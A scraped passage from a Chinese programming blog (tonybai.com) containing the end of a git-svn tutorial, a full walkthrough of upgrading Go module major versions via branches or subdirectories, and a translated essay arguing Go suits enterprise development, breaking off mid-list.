Authorization failed: Unable to connect to a repository at URL 'svn://svnbucket.com/bigwhite/test-git-svn': Can't get password at /usr/local/Cellar/git/2.12.2/libexec/git-core/git-svn line 1200. 仍然报错！不过这个错误应该是git（我使用的是2.12.2版本）的一个bug，我们用try-run方式运行的结果却是一切ok的：\n$git svn --username=bigwhite -n branch feature-branch-1-from-git Copying svn://svnbucket.com/bigwhite/test-git-svn at r8 to svn://svnbucket.com/bigwhite/test-git-svn/branches/feature-branch-1-from-git... 打tag的方式与建立 branch的方式类似：\n$git svn tag v1.0.0 -n -m \u0026quot;[git svn]: tag v1.0.0\u0026quot; --destination=tags Copying svn://svnbucket.com/bigwhite/test-git-svn at r5 to svn://svnbucket.com/bigwhite/test-git-svn/tags/v1.0.0... 四. 小结 git svn子命令是git fans操作svn repo的利器。由于git svn clone svn_repo后的repo就是一个标准的本地git repo，因此我们还可以为该git repo建立remote upstream repo，这样就可以在local git repo、remote git repo以及remote svn repo三者之间进行代码变更的同步了，当然这种场景操作还是蛮复杂的，也相对少见。\n个人建议，无论个人还是组织，即便使用svn中心repo，在本地也尽量用git来进行源码版本管理，并通过git svn与中心svn repo互操作。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/06/25/using-git-with-svn-repo/","summary":"\u003cp\u003e如今，虽然\u003ca href=\"https://git-scm.com/\"\u003eGit\u003c/a\u003e已经大行其道，但是仍有很多IT公司和组织依旧在使用集中式的版本控制系统\u003ca href=\"https://subversion.apache.org/\"\u003esubversion\u003c/a\u003e，尤其是一些传统软件公司，他们倾向于集中式的联网开发。如果你是一个\u003ca href=\"https://tonybai.com/tag/git\"\u003eGit\u003c/a\u003e fans，并且你要是遇到代码仓库依旧是使用\u003ca href=\"https://tonybai.com/tag/svn\"\u003esubversion\u003c/a\u003e进行版本控制的情况，你又该如何施展呢？\u003c/p\u003e\n\u003cp\u003e其实git很早就\u003ca href=\"https://git-scm.com/docs/git-svn\"\u003e支持与subversion repo的互操作\u003c/a\u003e了，2011年我就曾写过一篇\u003ca href=\"https://tonybai.com/2011/01/20/try-git-svn/\"\u003e《小试git-svn》\u003c/a\u003e的博文，也正是那一年，我第一次使用git操作subversion仓库。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2011/01/20/try-git-svn/\"\u003e《小试git-svn》\u003c/a\u003e一文仅是通过文字性描述简要说明了git操作svn repo的基本命令和功能，并未结合实际例子，也缺少直观的图片展示，并且未涉及branch和tag的操作。这里打算再写一篇关于使用git操作svn仓库的文章，相比于前者，我期望该文能更为系统并结合demo图文并茂的把使用git操作svn仓库这个事情讲的更形象和透彻一些。\u003c/p\u003e","title":"使用git操作svn仓库"},{"content":"Go module机制在Go 1.11版本引入，虽然也伴随着不小的质疑声，但总体上Go社区多数Gopher是接受go module的，很多标杆式的Go项目(比如kubernetes、kubernetes client-go等)也都逐渐转向了Go module，并且Gopher也在向core team反馈了自己的建议和问题。Go core team也在go module最初设计的基础上持续进行着改进，比如：即将到来的Go 1.13版本中将增加默认GOPROXY(https://proxy.golang.org)、GOSUMDB(sum.golang.org)；增加GONOPROXY、GONOSUMDB以应对私有module的处理；不断丰富的go mod子命令功能等。\n随着Go module应用的日益逐步广泛和深入，Gopher们也开始遇到一些最初使用Go module时未曾遇到过的问题，比如升级major版本号（这是由于多数Go project仍处于untag的状态或者1.x.x状态，因此在go module引入初期，少有gopher遇到该类问题）。这篇文章我们就来简单看看如何在go module机制下面升级库的主版本号(major version number)。\n一. Go module的“semantic import versioning” 在Russ Cox关于go module的系列论述文章“semantic import versioning”一文中，Russ说明了Go import包兼容性的总原则：\n如果新旧版本的包使用相同的导入路径(import path)，那么新包与旧包是兼容的。 也就是说如果新旧两个包不兼容，那么应该采用不同的导入路径。\n因此，Russ采用了将“major版本”作为导入路径的一部分的设计。这种设计支持在同一个项目或go source文件中import同一个module下的package的不同版本。同一个package虽然包名字相同，但是import path不同。vN作为import path的一部分将用于区分包的不同版本。同时在同一个源文件中，我们可以使用包别名的方式来区分同一个包的不同版本，比如：\nimport ( \u0026quot;github.com/bigwhite/foo/bar\u0026quot; barV2 \u0026quot;github.com/bigwhite/foo/v2/bar\u0026quot; ... ... ) go module的这种设计对Go包的consumer(包的使用者)来说似乎并未有太多额外工作，但是这给Go包的author们带来了一定的复杂性，他们需要考虑在go module机制下如何将自己的Go module升级major version。稍有不慎，可能就会导致自身代码库的混乱或者package consumer侧无法通过编译或执行行为的混乱。\n下面我们就从go package author的角度实践一下究竟该如何做module major版本号的升级。Go module为go package author提供了两种major version升级的方案，我们下面逐一看一下。我们的实验环境基于go 1.12.5 (ubuntu 16.04)。\n二. 使用“major branch”方案 “major branch”方案对于多数gopher来说是一个过渡比较自然的方案，它通过建立vN分支并基于vN分支打vN.x.x的tag的方式做major version的升级。当然是否建立vN分支以及打vN.x.x tag都是一个可选的操作。\n我们在bitbucket.org上建立一个公共仓库：bitbucket.org/bigwhite/modules-major-branch，其初始结构和代码如下(注意：此时本地开发环境中GO111MODULE=on)：\n# tree -LF 2 modules-major-branch modules-major-branch ├── foo/ │ └── foo.go ├── go.mod └── README.md 1 directory, 3 files //go.mod # cat go.mod module bitbucket.org/bigwhite/modules-major-branch go 1.12 // foo.go package foo import \u0026quot;fmt\u0026quot; func Foo() { fmt.Println(\u0026quot;foo.Foo of module: bitbucket.org/bigwhite/modules-major-branch pre-v1\u0026quot;) } 接下来，我们建立modules-major-branch/foo包的消费者项目：modules-major-branch-test\n# tree -LF 1 ./modules-major-branch-test/ ./modules-major-branch-test/ ├── go.mod ├── go.sum └── main.go 0 directories, 3 files # cat go.mod module bitbucket.org/bigwhite/modules-major-branch-test go 1.12 # cat main.go package main import ( \u0026quot;bitbucket.org/bigwhite/modules-major-branch/foo\u0026quot; ) func main() { foo.Foo() } 我们run一下“消费者”：\n# go run main.go go: finding bitbucket.org/bigwhite/modules-major-branch/foo latest go: finding bitbucket.org/bigwhite/modules-major-branch latest go: downloading bitbucket.org/bigwhite/modules-major-branch v0.0.0-20190602132049-2d924da2e295 go: extracting bitbucket.org/bigwhite/modules-major-branch v0.0.0-20190602132049-2d924da2e295 foo.Foo of module: bitbucket.org/bigwhite/modules-major-branch pre-v1 我们看到在这个阶段消费成功。\n作为modules-major-branch的author，随着module功能演进，modules-major-branch到达了发布1.0版本的节点：\n# cat foo/foo.go package foo import \u0026quot;fmt\u0026quot; func Foo() { fmt.Println(\u0026quot;foo.Foo of module: bitbucket.org/bigwhite/modules-major-branch v1.0.0\u0026quot;) } # git tag v1.0.0 # git push --tag origin master 接下来，我们让consumer升级对modules-major-branch/foo的依赖到v1.0.0。这种升级是不会自动进行，是需要consumer的开发者自己决策后手工进行的，否则会给开发者带来困惑。我们通过go mod edit命令修改consumer的require：\n# go mod edit -require=bitbucket.org/bigwhite/modules-major-branch@v1.0.0 # cat go.mod module bitbucket.org/bigwhite/modules-major-branch-test go 1.12 require bitbucket.org/bigwhite/modules-major-branch v1.0.0 我们来运行一下升级依赖后的程序：\n# go run main.go go: finding bitbucket.org/bigwhite/modules-major-branch v1.0.0 go: downloading bitbucket.org/bigwhite/modules-major-branch v1.0.0 go: extracting bitbucket.org/bigwhite/modules-major-branch v1.0.0 foo.Foo of module: bitbucket.org/bigwhite/modules-major-branch v1.0.0 从pre-v1到v1在最新的go module机制中还算不上major版本的升级，接下来我们就来看看foo包的作者应该如何对modules-major-branch module做出不兼容的升级：v1 -\u0026gt; v2。\n当modules-major-branch module即将做出不兼容升级时，一般会为当前版本建立维护分支(比如：v1分支，并在v1分支上继续对v1版本进行维护、打补丁)，然后再在master分支上做出不兼容的修改。\n# git checkout -b v1 # git checkout master # cat foo/foo.go package foo import \u0026quot;fmt\u0026quot; func Foo2() { fmt.Println(\u0026quot;foo.Foo2 of module: bitbucket.org/bigwhite/modules-major-branch v2.0.0\u0026quot;) } 从代码可以看到，在master分支上，我们删除了foo包中的Foo函数，新增了Foo2函数。但仅做这些还不够。在本文一开始我们就提到过原则：如果新旧两个包不兼容，那么应该采用不同的导入路径。我们为modules-major-branch module做出了不兼容的修改，也需要modules-major-branch module有着不同的导入路径，我们需要修改modules-major-branch module的module根路径：\n# cat go.mod module bitbucket.org/bigwhite/modules-major-branch/v2 go 1.12 # git tag v2.0.0 # git push --tag origin master 我们在module根路径后面加上了v2，并基于master建立了tag: v2.0.0。\n我们再来看看consumer端应该如何应对modules-major-branch module的不兼容修改。如果consumer要使用最新的Foo2函数的话，我们需要对main.go做出如下改动：\n//modules-major-branch-test/main.go package main import ( \u0026quot;bitbucket.org/bigwhite/modules-major-branch/v2/foo\u0026quot; ) func main() { foo.Foo2() } 接下来我们不需要手工修改modules-major-branch-test的go.mod中依赖，直接运行go run即可：\n# go run main.go go: finding bitbucket.org/bigwhite/modules-major-branch/v2/foo latest go: finding bitbucket.org/bigwhite/modules-major-branch/v2 v2.0.0 go: downloading bitbucket.org/bigwhite/modules-major-branch/v2 v2.0.0 go: extracting bitbucket.org/bigwhite/modules-major-branch/v2 v2.0.0 foo.Foo2 of module: bitbucket.org/bigwhite/modules-major-branch v2.0.0 我们看到go编译器会自动发现依赖变更，并下载对应的包并更新go.mod和go.num：\n# cat go.mod module bitbucket.org/bigwhite/modules-major-branch-test go 1.12 require ( bitbucket.org/bigwhite/modules-major-branch v1.0.0 bitbucket.org/bigwhite/modules-major-branch/v2 v2.0.0 // indirect ) modules-major-branch-test此时已经不再需要依赖v1.0.0了，我们可以通过go mod tidy清理一下go.mod中的依赖：\n# go mod tidy # cat go.mod module bitbucket.org/bigwhite/modules-major-branch-test go 1.12 require bitbucket.org/bigwhite/modules-major-branch/v2 v2.0.0 我们看到：现在就只剩下对modules-major-branch v2的依赖了。\n后续modules-major-branch可以在master分支上持续演进，直到又有不兼容改动时，可以基于master建立v2维护分支，master分支将升级为v3(module)。\n再小结一下：\n对包的作者而言，升级major版本号需要：\n升级module的根路径，增加vN\n建立vN.x.x形式的tag（可选，如果不打tag，go会在consumer的go.mod中使用伪版本号，比如：bitbucket.org/bigwhite/modules-major-branch/v2 v2.0.0-20190603050009-28a5b8da279e）\n如果modules-major-branch内部有相互的包引用，那么在升级major号的时候，这些包的import路径也要增加vN，否则就会存在在高major version的代码中引用低major version包代码的情况，这也是包作者最容易忽略的事情。github.com/marwan-at-work/mod是一个为module作者提供的升级/降级major version号的工具，它可以帮助包作者方便地自动修改项目内所有源文件中的import path。有gopher已经提出希望go官方提供upgrade/downgrade的支持，但目前core team尚未明确是否增加。\n对于consumer而言，升级依赖包的major版本号，只需要在import包时在import path中增加vN即可，当然代码中也要针对不兼容的部分进行修改，然后go工具会自动下载相关包。\n三. 使用 “major subdirectory”方案 go module机制还提供了一种我个人觉得较为怪异的方案或者说用起来不那么自然的方案，那就是利用子目录分割不同主版本。如果某个module目前已经演化到v3版本了，那么这个module所在仓库的目录结构应该是这样的：\n# tree modules-major-subdir modules-major-subdir ├── bar │ └── bar.go ├── go.mod ├── v2 │ ├── bar │ │ └── bar.go │ └── go.mod └── v3 ├── bar │ └── bar.go └── go.mod 这里直接用vN作为子目录名字，在代码仓库中将不同版本module放置在不同的subdir中，这样即便不打tag，通过subdir也能找到对应版本的module包。以上图中的v2为例，该子目录下go.mod如下：\n# cat go.mod module bitbucket.org/bigwhite/modules-major-subdir/v2 go 1.12 v3也是类似。在各自子目录中，module的根路径都是带有vN扩展的。\n接下来，我们就来创建consumer来分别调用不同版本的modules-major-subdir/bar包。和modules-major-branch-test类似，我们建立modules-major-subdir-test来作为consumer调用modules-major-subdir/bar包：\n// modules-major-subdir-test # cat go.mod module bitbucket.org/bigwhite/modules-major-subdir-test go 1.12 # cat main.go package main import ( \u0026quot;bitbucket.org/bigwhite/modules-major-subdir/bar\u0026quot; ) func main() { bar.Bar() } 运行一下consumer：\n# go run main.go go: finding bitbucket.org/bigwhite/modules-major-subdir/bar latest go: finding bitbucket.org/bigwhite/modules-major-subdir latest go: downloading bitbucket.org/bigwhite/modules-major-subdir v0.0.0-20190603053114-50b15f581aba go: extracting bitbucket.org/bigwhite/modules-major-subdir v0.0.0-20190603053114-50b15f581aba bar.Bar of module: bitbucket.org/bigwhite/modules-major-subdir 我们修改main.go，调用v2版本bar包中Bar2函数：\npackage main import ( \u0026quot;bitbucket.org/bigwhite/modules-major-subdir/v2/bar\u0026quot; ) func main() { bar.Bar2() } 再次运行main.go：\n# go run main.go go: finding bitbucket.org/bigwhite/modules-major-subdir v0.0.0-20190603053114-50b15f581aba go: downloading bitbucket.org/bigwhite/modules-major-subdir v0.0.0-20190603053114-50b15f581aba go: extracting bitbucket.org/bigwhite/modules-major-subdir v0.0.0-20190603053114-50b15f581aba go: finding bitbucket.org/bigwhite/modules-major-subdir/v2/bar latest go: finding bitbucket.org/bigwhite/modules-major-subdir/v2 latest go: downloading bitbucket.org/bigwhite/modules-major-subdir/v2 v2.0.0-20190603063223-4be5d54167e9 go: extracting bitbucket.org/bigwhite/modules-major-subdir/v2 v2.0.0-20190603063223-4be5d54167e9 bar.Bar2 of module: bitbucket.org/bigwhite/modules-major-subdir v2 我们看到：go编译器自动找到了位于modules-major-subdir仓库下v2子目录下的v2版本bar包。\n从demo来看，似乎这种通过subdir方式来实现major version升级的方式更为“简单”一些。但笔者总感觉这种方式有些“怪”，尤其是在与tag交叉使用时可能会带来一些困惑，其他主流语言也鲜有使用这种方式进行major version升级的。另外一旦使用这种方式，似乎也很难利用git工具在不同major版本之间进行代码的merge（复用）了。\n另外和major branch方案一样，如果module内部有相互的包引用，那么在升级major号的时候，这些包的import路径也要增加vN，否则也会存在在高major version的代码中引用低major version包代码的情况。\n四. 小结 Go module作为主流语言依赖管理思路之外的一个“探索性”创新，势必在初期要有一段坎坷的道路要走。好事多磨，相信经过Go 1.11~Go 1.13三个版本的改进以及社区在工具方面对go module的逐渐的完善的支持，Go module会成为gopher日常Go开发的一柄利器，彻底解决Go的包依赖问题。\n上述demo源码可在bitbucket.org/bigwhite下找到。\n另外这里要提一点：国内的码云(gitee.com)目前对go module major version升级支持的还有问题。同样的操作，但在gitee.com下总是提示：“go.mod has post-v0 module path”。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/06/03/the-practice-of-upgrading-major-version-under-go-module/","summary":"\u003cp\u003e\u003ca href=\"https://tip.golang.org/cmd/go/#hdr-Module_proxy_protocol\"\u003eGo module机制\u003c/a\u003e在\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003eGo 1.11版本\u003c/a\u003e引入，虽然也伴随着不小的质疑声，但总体上Go社区多数Gopher是接受go module的，很多标杆式的Go项目(比如kubernetes、kubernetes client-go等)也都逐渐转向了Go module，并且Gopher也在向core team反馈了自己的建议和问题。Go core team也在go module最初设计的基础上持续进行着改进，比如：即将到来的Go 1.13版本中将增加默认\u003ca href=\"https://groups.google.com/forum/#!topic/golang-dev/4Kw_OfGa7cc\"\u003eGOPROXY(https://proxy.golang.org)\u003c/a\u003e、GOSUMDB(sum.golang.org)；增加GONOPROXY、GONOSUMDB以应对私有module的处理；不断丰富的\u003ca href=\"https://tip.golang.org/cmd/go/#hdr-Module_proxy_protocol\"\u003ego mod子命令功能\u003c/a\u003e等。\u003c/p\u003e","title":"Go module机制下升级major版本号的实践"},{"content":"发展演化了十年的Go语言已经被证明了是云计算时代的首选编程语言，但Go的用武之地显然不局限于此。Kevin Goslar近期在Hacker Noon发表了一篇名为：《Go is on a Trajectory to Become the Next Enterprise Programming Language》的文章，阐述了Go可能成为下一个企业编程语言的理由，这里是那篇文章的中文译文，分享给大家。\n摘要 Go是一种专门为大规模软件开发而设计的编程语言。它提供了强大的开发体验并避免了现有编程语言存在的许多问题。这些因素使其成为最有可能在未来替代Java主导企业软件平台的候选者之一。对于那些寻求在未来几十年内构建大规模云基础架构的安全和前瞻性技术的公司和开源计划而言，我建议它们将Go视为其主要的编程语言。Go的优势如下：\n基于现实世界的经验 专注于大型工程 专注于可维护性 保持简单明了 使事情显式且明显 很容易学习 仅提供了一种做事方式 支持简单地内置并发 提供面向计算的语言原语 使用OO – 好的部分 拥有现代化的标准库 强制执行标准化格式 有一个非常快的编译器 使交叉编译变得容易 执行得非常快 需要较小的内存占用 部署规模小 部署完全独立 支持vendor依赖 提供兼容性保证 鼓励提供良好的文档 商业支持的开源 请继续阅读有关上述每个优势点的更多详细信息。然而，在进入Go之前，你应该注意：\n不成熟的库 即将到来的改变 没有“硬实时”支持 简介 Go是Google开发的一种编程语言，在过去几年中取得了很大的成功。大部分现代云计算，网络和DevOps平台都是Go语言编写的，例如：Docker、Kubernetes、Terraform、ETCD或istio等。许多公司也将它用于通用软件开发。Go所具备的功能让这些项目吸引了大量用户，而Go的易用性也使得这些项目有了很多的贡献者。\nGo的优势来自于简单和经过验证的想法的结合，同时避免了其他语言中出现的许多问题。这篇博客文章概述了Go背后的一些设计原则和工程智慧，并展示它们是如何结合在一起的 – 它们使Go成为下一代大型软件开发平台的优秀候选者。许多编程语言在个别领域都比较强大，但是在将所有领域都结合起来时，没有其他语言能够如此一致地“得分”，特别是在大型软件工程方面。\n基于现实世界的经验 Go是由经验丰富的软件行业资深人士创建的，他们长期以来一直感受到现有语言的缺点带来的痛苦。几十年前，Rob Pike和Ken Thompson在Unix，C和Unicode的发明中发挥了重要作用。在实现了用于JavaScript和Java的V8和HotSpot虚拟机之后，Robert Griesemer在编译器和垃圾收集方面拥有着数十年的经验。在太多次的不得不等待他们的谷歌规模的C++/Java代码库的编译过程的推动下，他们开始着手创建一门新的编程语言，这门语言中凝聚了他们通过编写半个世纪代码过程中所学到的一切。\n专注于大型工程 几乎任何编程语言都可以成功构建小型工程项目。当成千上万的开发人员在数十年的持续时间压力下在包含数千万行代码的大量代码库上进行协作时，真正痛苦的问题就会发生。这会导致以下问题：\n超长的编译时长会中断开发过程 代码库由几个人/团队/部门/公司拥有，混合了不同的编程风格 该公司雇佣了数千名工程师，架构师，测试人员，Ops专家，审计员，实习生等，他们需要了解代码库，但需要具有广泛的编码经验 依赖于许多外部库或运行时，其中一些不再以其最初的形式存在 每行代码在代码库的生命周期内平均被重写了10次，留下了疤痕，瑕疵和技术偏移 文档不完整 Go专注于减轻这些大规模的工程难题，有时是以使小型工程变得更加繁琐为代价，例如在这里和那里需要一些额外的代码。\n专注于可维护性 Go强调尽可能多地将工作转交到自动代码维护工具中。Go工具链提供了最常用的功能，如格式化代码和自动package导入、查找符号的定义和用法、简单的重构以及代码味道的识别。由于标准化的代码格式化和单一的惯用方式，机器生成的代码更改看起来非常接近Go中人为生成的更改。并而使用类似的模式，使得人和机器的协作更加无缝。\n保持简单直接 初级程序员为简单问题创建简单的解决方案。高级程序员为复杂问题创建复杂的解决方案。伟大的程序员找到复杂问题的简单解决方案。- 查尔斯康奈尔\n很多人都对Go不包含他们喜欢的其他语言概念感到惊讶。Go确实是一种非常小而简单的语言，只包含最少的正交和经过验证的概念。这鼓励开发人员以最少的认知开销编写最简单的代码，以便许多其他人可以理解并使用它。\n使事情显式而明显 良好的代码是显而易见的，避免聪明，模糊的语言功能，扭曲的控制流和间接性。\n许多语言都致力于使编写代码变得高效。然而，在其生命周期中，人们将花费大约（100倍）的时间阅读代码，而不是首先编写所需的代码。例如，审查，理解，调试，更改，重构或重用它。在查看代码时，通常只能看到并理解它的一小部分，通常没有对整个代码库的完整理解。为了解释这一点，Go将一切都显式化了。\n一个例子是错误处理。让异常在各个点中断代码并使沿着调用链处理可能会更容易。Go需要手动处理或返回每个错误。这使得它可以准确地显示代码可以被中断的位置以及如何处理或包装错误。总的来说，这使得错误处理更容易编写，但更容易理解。\n简单易学 Go非常小而且简单，可以在短短几天内研究整个语言及其基本概念。根据我们的经验，经过不超过一周的培训（与其他语言的以月为单位相比），初学者可以理解Go专家编写的代码，并为此做出贡献。为了方便大量人群，Go网站提供了所需的所有教程和深入的文章。这些教程在浏览器中运行，允许人们在将Go安装到本地计算机上之前学习和使用Go。\n一种做事方式 Go语言通过个人自我表达赋予团队合作能力。\n在Go（和Python）中，所有语言特征都是正交的并且彼此互补，通常做某事只有一种方法。如果您要求10位Python或Go程序员解决问题，您将获得10个相对类似的解决方案。不同的程序员在彼此的代码库中感觉更有家的感觉。在查看其他人的代码时，每分钟的WTF更少，而且人们的工作更好地融合在一起，从而形成一个人人都为之骄傲并且喜欢工作的一致性。这避免了大规模的工程问题，例如：\n开发人员将良好的工作代码视为“混乱”，并要求在他们可以使用之前重写它，因为他们不会像原作者那样思考。 不同的团队成员在该语言的不同子集中编写相同代码库的部分内容。 来源：https：//www.osnews.com/story/19266/wtfsm\n简单，内置并发 Go专为现代多核硬件而设计。\n目前使用的大多数编程语言（Java，JavaScript，Python，Ruby，C，C ++）都是在20世纪80年代到2000年代设计的，当时大多数CPU只有一个计算核心。这就是为什么它们本质上是单线程的，并将并行化视为事后增加的边缘情况，通过诸如线程和同步点之类的附加组件实现，这些附加组件既麻烦又难以正确使用。第三方库提供了更简单的并发形式，如Actor模型，但总有多个选项可用，导致语言生态系统碎片化。今天的硬件拥有越来越多的计算内核，软件必须并行化才能在其上高效运行。Go是在多核CPU时代编写的，并且在语言中内置了简单，高级的CSP风格的并发特性。\n面向计算的语言原语 在基础层面上，计算机系统接收数据，处理它（通常经过几个步骤），并输出结果数据。例如，Web服务器从客户端接收HTTP请求，并将其转换为一系列数据库或后端调用。一旦这些调用返回，它就会将接收到的数据转换为HTML或JSON并将其输出给调用者。Go的内置语言原语直接支持这种范例：\n结构体代表数据 reader和writer代表流式IO 函数处理数据 goroutines提供（几乎无限制的）并发 通道用于管理并发处理步骤之间的数据 由于所有计算原语都是由语言以直接的形式提供的，因此Go源代码可以更直接地表达服务器执行的操作。\nOO – 好的部分 在基类中改变某些东西的副作用\n面向对象非常有用。这几十年OO的应用是富有成效的，并且让我们了解它的哪些部分比其他部分可以更好地扩展。基于这些认知，Go采用面向对象的新方法。它保留了封装和消息传递等优点。Go避免了继承，因为它现在被认为是有害的，Go为组合提供头等的支持。\n现代标准库 许多当前使用的编程语言（Java，JavaScript，Python，Ruby）是在互联网成为当今无处不在的计算平台之前设计的。因此，这些语言的标准库仅为未针对现代互联网优化的网络提供相对通用的支持。Go是十年前创建的，当时互联网已经全面展开。Go的标准库允许在没有第三方库的情况下创建更复杂的网络服务。这可以防止使用第三方库的常见问题：\n碎片化：实现相同功能的总有多种选择 膨胀：库通常实现的不仅仅是它们的用途 依赖地狱：库通常依赖于特定版本的其他库 质量未知：第三方代码可能具有可疑的质量和安全性 未知支持：第三方库的开发可以随时停止 意外更改：第三方库通常不像标准库那样进行严格的版本管理 Russ Cox的更多背景信息。\n标准化格式 Gofmt的风格是没有人喜欢的，但gofmt是每个人的最爱。 – Rob Pike\nGofmt是一种以标准化方式格式化Go代码的程序。它不是最漂亮的格式化方式，而是最简单，最不讨厌的方式。标准化的源代码格式化具有惊人的积极影响：\n重点讨论重要主题：它消除了围绕标签与空格，缩进深度，每行长度，空行，花括号放置等的一系列无意义的争论。 开发人员在彼此的代码库中感到宾至如归，因为其他代码看起来很像他们编写的代码。每个人都喜欢自由地按照自己喜欢的方式格式化代码，但如果其他人冒昧地按照他们自己喜欢的方式格式化\u0026gt;代码，那么每个人都讨厌它。 自动代码更改不会弄乱手写代码的格式，例如通过引入意外的空白更改。 许多其他语言社区现在正在开发gofmt等价物。当构建为第三方解决方案时，通常会有几种竞争格式标准。例如，JavaScript世界提供Prettier和StandardJS。可以一起使用其中之一或两者。许多JS项目都没有采用它们，因为这是一个额外的决定。Go的格式化程序内置于该语言的标准工具链中，因此只有一个标准，每个人都在使用它。\n快速编译 来源：https://xkcd.com/303\n大型代码库的长编译时间是引发Go语言起源的一个微小的原因。Google主要使用C++和Java，与Haskell，Scala或Rust等更复杂的语言相比，它可以相对快速地编译。尽管如此，当编译大型代码库时，即使是少量的慢速也会把人激怒，编译工作流中断导致编译延迟。Go是从头开始设计的，以使编译更有效，因此编译器速度非常快，几乎没有编译延迟。这为Go开发人员提供了类似于脚本语言的即时反馈，并具有静态类型检查的额外好处。\n交叉编译 由于语言运行时非常简单，因此它已被移植到许多平台，如macOS，Linux，Windows，BSD，ARM等。Go可以开箱即用于编译所有这些平台的二进制文件。这使得我们可以轻松地从一台机器来进行部署。\n快速执行 Go有着接近C的速度。与JITed(即时编译)语言（Java，JavaScript，Python等）不同，Go二进制文件不需要启动或预热时间，因为它们作为已编译和完全优化的本机代码提供。Go垃圾收集器仅以微秒的指令引入可忽略的暂停。在其快速的单核性能上面，Go使得利用所有的CPU内核更容易。\n小内存占用 像JVM，Python或Node这样的运行时不仅仅在运行时加载程序代码。它们还会加载大型且高度复杂的基础架构，以便在每次运行时编译和优化程序。这使得它们的启动时间变慢并导致它们使用大量（数百MB）的RAM。Go进程的开销较小，因为它们已经完全编译和优化，只需要运行。Go还以非常节省内存的方式存储数据。这在内存有限且昂贵的云环境中以及在开发期间非常重要，在开发期间我们希望在单个机器上快速启动整个堆栈，同时为其他软件留下内存。\n小部署规模 Go二进制文件的大小非常简洁。Go应用程序的Docker镜像通常比用Java或Node编写的等效文件小10倍，因为它不需要包含编译器，JIT，并且需要更少的运行时基础结构。这在部署大型应用程序时很重要。想象一下，将一个简单的应用程序部署到100个生产服务器上 使用Node / JVM时，我们的docker仓库必须提供100个docker镜像@ 200 MB = 20 GB(总共)。这需要镜像仓库耗费一些时间来服务。想象一下，我们希望每天部署100次。使用Go服务时，Docker镜像仓库只需提供100个Docker镜像@ 20 MB = 2 GB。可以更快，更频繁地部署大型Go应用程序，从而允许重要更新更快地实现生产。\n自包含部署 Go应用程序部署为包含所有依赖项的单个可执行文件。不需要安装特定版本的JVM，Node或Python运行时。不必将库下载到生产服务器上。不需要对运行Go二进制文件的机器进行任何更改。甚至不需要将Go二进制文件包装到Docker中来共享它们。您只需将Go二进制文件拖放到服务器上，无论该服务器上运行的是什么，它都会在那里运行。上述描述的唯一例外是使用net和os/user包时的动态链接glibc库时。\nvendor依赖关系 Go故意避免使用第三方库的中央存储库。Go应用程序直接链接到相应的Git存储库，并将所有相关代码下载（vendor保存）到他们自己的代码库中。这有很多好处：\n我们可以在使用之前查看，分析和测试第三方代码。此代码与我们自己的代码一样，是我们应用程序的一部分，应符合相同的质量，安全性和可靠性标准。 无需永久访问存储依赖项的各个位置。可以一次性的从任何地方（包括私人Git仓库）获取您的第三方库，并永久拥有它们。 在checkout后编译代码库不需要进一步下载依赖项。 如果互联网上某处的代码存储库突然提供不同的代码，也不会造成surprises。 即使软件包存储库服务性能变慢或托管软件包不再存在，部署也不会中断。 兼容性保证 Go团队承诺，现有的程序将继续适用于新版本语言。这使得即使是大型项目也可以轻松升级到更新编译器的版本，并从新版本带来的许多性能和安全性改进中受益。同时，由于Go二进制文件包含了他们需要的所有依赖项，因此可以在同一服务器计算机上并行运行使用不同版本的Go编译器编译的二进制文件，而无需进行复杂的设置多个版本的运行时或虚拟化。\n文档 在大型工程中，文档对于使软件易于访问和维护非常重要。与其他功能类似，Go中的文档简单实用：\n它嵌入在源代码中，因此两者可以同时维护。 它不需要特殊的语法 – 文档只是普通的源代码注释。 可运行的单元测试通常是最好的文档形式，所以Go允许你将它们嵌入到文档中。 所有文档实用程序都内置在工具链中，因此每个人都使用它们。 Go linter需要导出元素的文档，以防止“文档债务”的积累。 商业支持的开源 当商业实体在公开场合发展时，一些最流行和最全面设计的软件就会发生。这种设置结合了商业软件开发的优势 – 一致性和优化，使系统健壮，可靠，高效 – 具有开放式开发的优势，如来自许多行业的广泛支持，来自多个大型实体和许多用户的支持，以及长期支持，即使商业支持停止。Go就是这样开发的。\n缺点 当然，Go并不完美，每种技术选择总是有利有弊。在进入Go之前，这里有一小部分需要考虑的方面。\n未成熟 虽然Go的标准库在支持HTTP/2服务器推送等许多新概念方面处于行业领先地位，但与JVM生态系统中存在的相比，用于外部API的第三方Go库可能还不那么成熟。\n即将到来的变化 Go团队知道几乎不可能改变现有的语言元素，因此只有在完全开发后才会添加新功能。在经历了10年稳定的故意阶段后，Go团队正在考虑对语言进行一系列更大的改进，作为Go 2.0之旅的一部分。\n没有硬实时 